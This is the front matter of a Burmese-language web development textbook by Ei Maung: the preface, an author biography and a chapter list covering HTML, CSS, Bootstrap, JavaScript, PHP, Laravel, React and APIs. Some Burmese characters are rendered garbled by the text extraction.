ကြေနာက်ဆက်တွဲ  Update  Version  လုိ့  ဆိုနိုင်ပါတယ်။  မူလ  Profession  Web  Developer  စာအုပ်ကို
(၂၀၁၃)  ခုနှစ်မှာ  ပထမအကြကိမ်  ပံုနှိပ်ထုတ်ကြေဝခဲ့လုိ့  အခုဒီစာကြေရးသားကြေနချနိ်မှာဆိုရင်  အချနိ်  (၈)  နှစ်
ကြေလာက်  eကာခဲ့ပြပီgoစ်ပါတယ်။  အ့ဲဒီဟာအုပ်ဟာ  စာoတ်သူများအeကား  အသံုးဝင်  လူကြကိုက်များလုိ့
အကြကိမ်ကြကိမ် ထပ်မံတည်းgoတ် ပံုနှိပ်ခဲ့ရပြပီး ကြေနာက်ဆံုး စတုတ္ထအကြကိမ်ကိုကြေတာ့  (၂၀၁၆) ခုနှစ်မှာ ထုတ်ကြေဝ
goစ်ခဲ့ပါတယ်။

အချနိ်  (၈)  နှစ်ဆိုတာဟာ  အပြမဲတိုးတက်ကြေgပာင်းလဲကြေနတဲ့  နည်းပညာသက်တမ်းအရဆိုရင်  အကြေတာ်ကို
eကာgမင့်ခဲ့ပြပီလုိ့  ဆိုရမှာပါ။  နည်းပညာကြေတွလည်း  အကြေတာ်ကြေလး  ကြေgပာင်းလဲသွားခဲ့ပြပီgoစ်လုိ့  စတတု္ထအကြကိမ်
တည်းgoတ်ထုတ်ကြေဝမှုအပြပီးမှာ ထပ်မံတည်းgoတ်oုိဆ့ိုတာ မလွယ်ကြေတာ့ပါyူး။ အစအဆံုး  အကြေတာ်များများ
ကို  gပင်ဆင်ရကြေတာ့မှာgoစ်လုိ့  gပင်ဆင်တည်းgoတ်တဲ့သကြေyာ  မဟုတ်ကြေတာ့yဲ  အစအဆံုး  gပန်ကြေရးရမယ့်
သကြေyာ goစ်လာပါကြေတာ့တယ်။

ဒီလုိ စာအုပ်တစ်အုပ် ကြေရးသားgပုစုရတာ မလွယ်ပါyူး။ လကြေပါင်းများစွာ အထူးအာရံုစိုက်ပြပီး အချနိ်ကြေပးရပါ
တယ်။ စားလည်းဒီစိတ်၊  သွားလည်းဒီစိတ်၊  အိပ်လည်းဒီစိတ်  ဆိုတာမျ ို းအထိ ကိုယ့်စွမ်းအင်ကြေတွကို  gမှုပ်နှံ
ကြေရးသားရတာပါ။ မူလကျွမ်းကျင်မှုနဲတ့င် မလံုကြေလာက်yဲ ပုိတိကျoုိ၊့ ပုိကြေသချာoုိအ့တွက် Research ကြေတွကို
လည်း တစ်ပြပိုင်ထဲမှာ လုပ်ရပါကြေသးတယ်။ အချက်အလက်ကြေတွ စုစည်းရပါတယ်။ ခက်ခဲတဲ့အကြေeကာင်းအရာ
ကြေတွကို  စာoတ်သူ နားလည်လွယ်ကြေအာင်၊ အချတိ်အဆက်မိကြေအာင်၊ အမျ ို းမျ ို းလှည့်ပါတ်စဉ်းစား ကြေရးလုိက်
gပင်လုိက် အကြကိမ်ကြကိမ် လုပ်ရပါတယ်။ ကြေတာ်ကြေတာ့်ကို မလွယ်တာပါ။
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ဒီလုိမလွယ်တဲ့အတွက်ကြေeကာင့်ပဲ အသစ်တစ်အုပ်သာ ကြေရးရမယ်ဆိုရင် ကြေရးgoစ်မှာ မဟုတ်ကြေတာ့ပါyူး။ မကြေရး
goစ်ကြေလာက်ကြေတာ့yူးလုိ့ ထင်ထားတာပါ။ ဒီလုိနဲ့ နှစ်အချ ို ့eကာပြပီး ကြေနာက်မှ (၂၀၂၀) gပည့်နှစ်ထဲမှာ Covid-
19  ကပ်ကြေရာင်္ဂါကြေတွကြေeကာင့် အလုပ်ကြေတွပိတ်ပြပီး  အိမ်ထဲကအိမ်gပင်မထွက်  Stay-at-home  ကြေနရတဲ့  ကာလ
ကြေတွ  ရှိလာတဲ့အခါ  အချနိ်အားကြေတွ  ရှိလာတာနဲ့  လုိတိုရှင်း  စာအုပ်အတိုကြေလးကြေတွ  ကြေရးသားgoစ်ခဲ့ပါတယ်။
အချနိ်အားကြေလးကြေတွ  ရှိလာတယ်ဆိုကြေပမယ့်  ကြေပါက့ြေပါပ့ါးပါး  အတိုချုပ်ပဲ  ကြေရးမယ်လုိ့  ရည်ရွယ်တဲ့အတွက်
ကြေeကာင့်သာ ကြေရးgoစ်သွားတာပါ။ အခုလုိ စာအုပ်မျ ို းကြကီးကိုသာ တစ်ခါထဲ ကြေရးoုိအ့ားထုတ်ခဲ့မယ်ဆိုရင် အမှန်
တစ်ကယ်ကြေရးgoစ်oုိ၊့ အပြပီးသတ်goစ်oုိ ့မလွယ်ပါyူး။

ကပ်ကြေရာင်္ဂါကြကီးဟာ အချနိ် (၃-၄) လကြေလာက်နဲ့ ပြပီးသွားမလား ကြေမျှာ်လင့်ခဲ့ကြေပမယ့် အခုဒီစာကိုကြေရးကြေနချနိ်မှာ
(၂၀၂၁) ကုန်လုိ့ (၂၀၂၂) ကြေတာင် ကြေရာက်ပါကြေတာ့မယ်။ (၂) နှစ်ကြေလာက်eကာခဲ့ပြပီ goစ်ကြေပမယ့် မပြပီးဆံုးကြေသးပါ
yူး။  eကားထဲမှာ  ကပ်ကြေရာင်္ဂါနှိပ်စက်မှုကြေeကာင့်  အားလုံးပဲ  အခက်အခဲ  အeကမ်အတည်းကိုယ်စီ  ရှိခဲ့eကမှာ
အကြေသအချာပါပဲ။ အ့ဲဒီလုိအeကပ်အတည်းကြေတွeကားထဲက အရံှုးထဲက အgမတ်လုိပဲ့ ဆိုရပါမယ်။ တစ်gခားyာ
မှလုပ်လုိမ့ရတိုင်း  စာပဲထုိင်ကြေရးကြေနလုိက်တာ လုိတိရုှင်း  စာအုပ်တိုကြေလးကြေတွ  (၇)  အုပ်ထိ  ကြေရးသားgoစ်ခဲ့ပါ
ကြေတာ့တယ်။

ဒီစာအုပ်ဟာ အ့ဲဒီစာအုပ်ကြေတွထဲက Bootstrap လုိတိုရှင်း၊ JavaScript လုိတိုရှင်း၊ PHP လုိတိုရှင်း၊ Laravel
လုိတိုရှင်း၊  React  လုိတိုရှင်း နဲ့  API  လုိတိုရှင်းဆိုတဲ့ စာအုပ်  (၆)  အုပ်ကို ကြေပါင်းစပ်ပြပီး လုိအပ်သလုိ ညိှနိှုင်း
goည့်စွက်  ထုတ်ကြေဝgoစ်ခဲ့gခင်း  goစ်ပါတယ်။  Update  လုပ်oုိ့  လုိအပ်ကြေနတဲ့  မူလပထမ  Profession  Web
Developer စာအုပ်ကို ကြေနာက်ဆံုးမှာ Update လုပ်နိုင်ခဲ့ပြပီလုိ ့ဆိုရပါမယ်။

မူလ Profession Web Developer စာအုပ်နဲ့ ပက်သက်ပြပီး ကျွန်ကြေတာ့်ကို ဆက်သွယ်ကြေကျးဇူးစကား ဆိုလာ
သူကြေတွမှ  အများကြကီးရှိပါတယ်။  အ့ဲဒီစာအုပ်ရဲ့  အကူအညီနဲ့  လက်ကြေတွ့လုပ်ငန်းခွင်ဝင်  ကျွမ်းကျင်  Web
Developer  အgoစ်  gပည်တွင်းမှာကြေရာ  gပည်ပမှာပါ  ရပ်တည်နိုင်သွားeကသူကြေတွ  အကြေတာ်များများ  ရှိကြေနပါ
တယ်။  ဒီလုိကြေတွ  eကားသိရတဲ့အတွက်လည်း  အတိုင်းမသိ  ပီတိgoစ်ရပါတယ်။  အ့ဲဒီပီတိကိုစား  အားရှိတဲ့
အတွက်ကြေeကာင့်ပဲ ကြေလ့လာသူများအတွက် အသံုးဝင်တဲ့ oန်တီးမှုကြေတွကို ဆက်လက်gပုလုပ်oုိ့ အပြမဲကြကိုးစား
ကြေနgoစ်ပါတယ်။
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ဒီစာအုပ်ကကြေနလည်း  မူလ  Professional  Web  Developer  စာအုပ်လုိပဲ၊  လက်ကြေတွ့လုပ်ငန်းခွင်ဝင်
ကျွမ်းကျင်အဆင့်  Web Developer  ကြေတွ ကြေမွးထုတ်ကြေပးနိုင်လိမ့်မယ်လုိ့ ယံုeကည်ပါတယ်။ ဒီစာအုပ်ရဲ့  PDF
Ebook Version ကို ကျွနက်ြေတာ့် Website မှာ အချနိ်မကြေရွး အခမ့ဲ Download ရယူနိုင်တယ်ဆိုတာကိုလည်း
goည့်စွက် အသိကြေပးချင်ပါတယ်။

- https://eimaung.com

အားလုံးပဲ ကိုယ်စိတ်နှစ်goာ ကျန်းမာချမ်းသာပြပီး ထွန်းကြေပါက်ကြေအာင်gမင်သူကြေတွ goစ်eကပါကြေစလုိ့ ဆုကြေတာင်း
ရင်း နိင်္ဂံုးချုပ်လုိက်ပါတယ်။

အမိေ�ာင် (Fairway)
၂၀၂၁ ခုနှစ၊် ဒီဇင်yာ (၆) ရက်ကြေနတ့ွင် ကြေရးသားပြပီးစီးသည်။
၂၀၂၃ ခုနှစ်၊ မတ် (၁) ရက်ကြေနတ့ွင် တည်းgoတ်ပြပီးစီးသည်။

https://eimaung.com/


PWD 2023 – စာကြေရးသူ၏ကိုယ်ကြေရးအကျဉ်း 934

စာမေAးသူ၏ကိုယ်မေAးအကျဉ်း

အမည်ရင်း  အိကြေမာင်  goစ်ပြပီး  မကြေကွးတိုင်းကြေဒသကြကီး  သရက်ပြမို့ဇာတိgoစ်သည်။  (၂၀၀၀)  gပည့်နှစ်တွင်
သရက်ပြမို့  အ.ထ.က  (၁)  မှ  တက္ကသုိလ်ဝင်တန်းစာကြေမးပဲွကြေအာင်gမင်ပြပီး  (၂၀၀၁)  ခုနှစ်မှစတင်ကာ ပညာ
ဆက်လက် သင်ယူနိုင်ရန် ရန်ကုန်ပြမို့သုိ့ ကြေgပာင်းကြေရ£့ အကြေgခချခဲ့သည်။ (၂၀၀၃) ခုနှစ်တွင် ဒင်္ဂံုတက္ကသုိလ် လူ့
စွမ်းအားအရင်းအgမစ်ဌာနမှ ကြေပးအပ်သည့် ကွန်ပျူတာနည်းပညာ ဒီပလုိမာyွဲ့  (Diploma in Computer
Studies)  ကို  ရရှိခဲ့ပြပီး  ထုိအချနိ်မှစတင်၍  Software  ကြေရးသားgခင်း  လုပ်ငန်းများကို  လုပ်ကိုင်လာခဲ့သည်။
(၂၀၀၆) ခုနှစ်မှ စတင်ကာ Web နည်းပညာအကြေgခgပု Software များကို စတင်ကြေရးသားခဲ့ပြပီး ယကြေနအ့ချနိ်ထိ
Web Developer တစ်ဦးအgoစ် ဆက်လက်ရပ်တည် လုပ်ကိုင်ကြေနသည်။

ကွန်ပျူတာနည်းပညာများကို  အကြေလးထားကြေလ့လာကြေန၍ ဆက်လက်တက်ကြေရာက်gခင်း  မgပုgoစ်ပဲ  ရပ်တန့်
ထားခဲ့သည့် အကြေဝးသင်တက္ကသုိလ် (ဥပကြေဒပညာအထူးgပု) ကို (၂၀၀၉) ခုနှစ်တွင် gပန်လည် တက်ကြေရာက်ခဲ့
ပြပီး (၂၀၁၃) ခုနှစ်တွင် ကြေအာင်gမင်၍ ဥပကြေဒပညာyွဲ့ (LL.B) ကိုရရှိခဲ့သည်။

(၂၀၀၉)  ခုနှစ်တွင်  Durosoft  အမည်goင့်  Web Development  လုပ်ငန်းတစ်ခုကို  ဦးကြေဆာင်တည်ကြေထာင်ခဲ့
သည်။  gပည်တွင်းgပည်ပမှ  အပ်နှံeကသည့်  Outsource  Project  များကို  အဓိကထား  ကြေဆာင်ရွက်ခဲ့သည်။
ထုိ့ကြေနာက်  (၂၀၁၁)  ခုနှစ်တွင်  Outsource  Project  များ  ကြေဆာင်ရွက်ကြေနရာမှ  မိမိတိုက့ိုယ်ပုိင်  Software
Product များကိုသာ ကြေရးသား ကြေတာ့မည် ဟူသည့် ရည်ရွယ်ချက်goင့်  Durosoft အား Fairway Web ဟူ၍
အမည်ကြေgပာင်းကာ ဆက်လက် လုပ်ကိုင်ခဲ့သည်။  (၂၀၁၆)  ခုနှစ်မှစတင်၍  Fairway Web  အား  Fairway
Technology  ဟု  အမည်ကြေgပာင်းကာ   Software  များ  ကြေရးသားgခင်း၊  နည်းပညာဝန်ကြေဆာင်မှုကြေပးgခင်းနှင့်
သင်တန်းများ  ပုိခ့ျgခင်းတိုက့ို  ကြေဆာင်ရွက်လျှက်  ရှိပါသည်။  ဤစာကြေရးသားကြေနစဉ်တွင်  Fairway
Technology ၏ Managing Partner အgoစ် တာဝန်ထမ်းကြေဆာင်လျှက်ရှိပါသည်။
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(၂၀၁၃) ခုနှစ်ဇွန်လတွင် Professional Web Developer စာအုပ် ပထမအကြကိမ်ကို ကြေရးသားgပုစု goန့်ချနီိုင်ခဲ့
သည်။  (၂၀၁၄)  ခုနှစ်ဇွန်လတွင်  Ubuntu  -  သင့်အတွက် Linux စာအုပ်ကို  ကြေရးသားgပုစု  goန့်ချနီိုင်ခဲ့ပြပီး၊
(၂၀၁၅)  ခုနှစ်  စက်တင်yာလတွင်  Rockstar  Developer စာအုပ်ကို  ကြေရးသားgပုစု  goန့်ချနီိုင်ခဲ့သည်။
(၂၀၂၀-၂၀၂၁)  ခုနှစ်ကာလများတွင်  Bootstrap လုိတိုရှင်း၊  JavaScript လုိတိုရှင်း၊  PHP လုိတိုရှင်း၊
Laravel လုိတိုရှင်း၊  React လုိတိုရှင်း၊  API လုိတိုရှင်း နှင့်  Bitcoin လုိတိုရှင်း ဟူကြေသာ စာအုပ် (၇) အုပ်ကို
ဆက်တိုက်  ကြေရးသားgoန့်ချနီိုင်ခဲ့သည်။ ဤ  Professional  Web Developer 2022 စာအုပ်ကို  ဆက်လက်
ကြေရးသား goန့်ချနီိုင်ခဲ့သည့်အတွက် စုစုကြေပါင်း ကြေရးသားgပုစုထားသည့် နည်းပညာစာအုပ်ကြေပါင်း  (၁၁) အုပ် ရိှ
သွားခဲ့ပြပီ goစ်ပါသည်။

(၂၀၁၀) ခုနှစ်မှ စတင်ကာ Web Development ဆိုင်ရာ သင်တန်းများကို ပုိခ့ျလာခဲ့ပြပီး၊ ယခုအခါ Fairway
Technology သင်တန်းကြေကျာင်း၏ ကြေကျာင်းအုပ်ကြကီးအgoစ်  Web နှင့်  Mobile  နည်းပညာဆိုင်ရာ သင်တန်း
များကို ဦးကြေဆာင်ပုိခ့ျကြေနပါသည်။ 

ဇနီးgoစ်သူ နှင်းကြေဝလွင်၊ သမီးgoစ်သူ စုရတနာကြေမာင် တိုန့ှင့်အတူ ရန်ကုန်ပြမို့တွင် အကြေgခချ ကြေနထုိင်လျှက် ရှိ
သည်။  စာကြေရးသူအား  ဆက်သွယ်လုိပါက  eimg@fairwayweb.com  အီးကြေမးလ်လိပ်စာသုိ့  လည်ကြေကာင်း၊
စာကြေရးသူ၏ Website goစ်ကြေသာ eimaung.com တွင် ကြေoာ်gပထားသည့် ဆက်သွယ်ရန် အချက်အလက်များ
အတိုင်းလည်ကြေကာင်း ဆက်သွယ်နိုင်ပါသည်။


	Professional Web Developer 2023
	မာတိကာ
	မိတ်ဆက်
	အခန်း (၁) - HTML
	အခန်း (၂) - CSS
	အခန်း (၃) – Bootstrap Intro
	အခန်း (၄) – Bootstrap CSS Components
	အခန်း (၅) – Bootstrap JavaScript Components
	အခန်း (၆) – Bootstrap Layouts
	အခန်း (၇) – Bootstrap Utility Classes
	အခန်း (၈) – Icons
	အခန်း (၉) – Admin Dashboard – Sample Project
	အခန်း (၁၀) – Customizing Bootstrap
	အခန်း (၁၁) – Programming Language
	အခန်း (၁၂) – JavaScript Variables
	အခန်း (၁၃) – JavaScript Data Types
	အခန်း (၁၄) – JavaScript Expressions, Statements & Operators
	အခန်း (၁၅) – JavaScript Procedures & Functions
	အခန်း (၁၆) – JavaScript Arrays & Objects
	အခန်း (၁၇) – JavaScript Control Flows & Loops
	အခန်း (၁၈) – JavaScript OOP – Object-Oriented Programming
	အခန်း (၁၉) – JavaScript Promises & async, await
	အခန်း (၂၀) – Code Style Guide
	အခန်း (၂၁) – JavaScript Modules
	အခန်း (၂၂) – Document Object Model – DOM
	အခန်း (၂၃) – JavaScript Debugging
	အခန်း (၂၄) – Website vs. Web Application
	အခန်း (၂၅) – World Wide Web
	အခန်း (၂၆) – PHP Development Environment
	အခန်း (၂၇) – PHP Syntax, Variables & Data Types
	အခန်း (၂၈) – PHP Strings & Arrays
	အခန်း (၂၉) – PHP Operators & Control Structures
	အခန်း (၃၀) – PHP Functions
	အခန်း (၃၁) – PHP OOP – Object-Oriented Programming
	အခန်း (၃၂) – Essential Design Patterns
	အခန်း (၃၃) – PHP Error Handling
	အခန်း (၃၄) – PHP Modules & Namespaces
	အခန်း (၃၅) – Composer
	အခန်း (၃၆) – Requests, Cookies & Sessions
	အခန်း (၃၇) – PHP File Upload
	အခန်း (၃၈) – MySQL Database
	အခန်း (၃၉) – PHP Project
	အခန်း (၄၀) – Web Application Security
	အခန်း (၄၁) – Laravel Project
	အခန်း (၄၂) – Laravel Routing
	အခန်း (၄၃) – MVC – Model – View - Controller
	အခန်း (၄၄) – Laravel Controller
	အခန်း (၄၅) – Laravel View
	အခန်း (၄၆) – Laravel Migration and Model
	အခန်း (၄၇) – Laravel Authentication
	အခန်း (၄၈) – Laravel Master Template
	အခန်း (၄၉) – Laravel Form
	အခန်း (၅၀) – Laravel Model Relationship
	အခန်း (၅၁) – Laravel Authorization
	အခန်း (၅၂) – Basic API with Laravel
	အခန်း (၅၃) – Laravel Deployment
	အခန်း (၅၄) – React Basic
	အခန်း (၅၅) – React Data Flow
	အခန်း (၅၆) – React Composition and Code Splitting
	အခန်း (၅၇) – React Component Style
	အခန်း (၅၈) – React Class Components
	အခန်း (၅၉) – React Context
	အခန်း (၆၀) – Redux
	အခန်း (၆၁) – React Router
	အခန်း (၆၂) – React Native
	အခန်း (၆၃) – Working with API in React
	အခန်း (၆၄) – Next.js
	အခန်း (၆၅) – React Extras
	အခန်း (၆၆) – API ဆိုသည်မှာ
	အခန်း (၆၇) – HTTP Request
	အခန်း (၆၈) – HTTP Response
	အခန်း (၆၉) – RESTful API
	အခန်း (၇၀) – API Response Structure
	အခန်း (၇၁) – MongoDB
	အခန်း (၇၂) – NodeJS
	အခန်း (၇၃) – Express
	အခန်း (၇၄) – CORS
	အခန်း (၇၅) – API Auth
	နိဂုံးချုပ်
	စာရေးသူ၏ကိုယ်ရေးအကျဉ်း

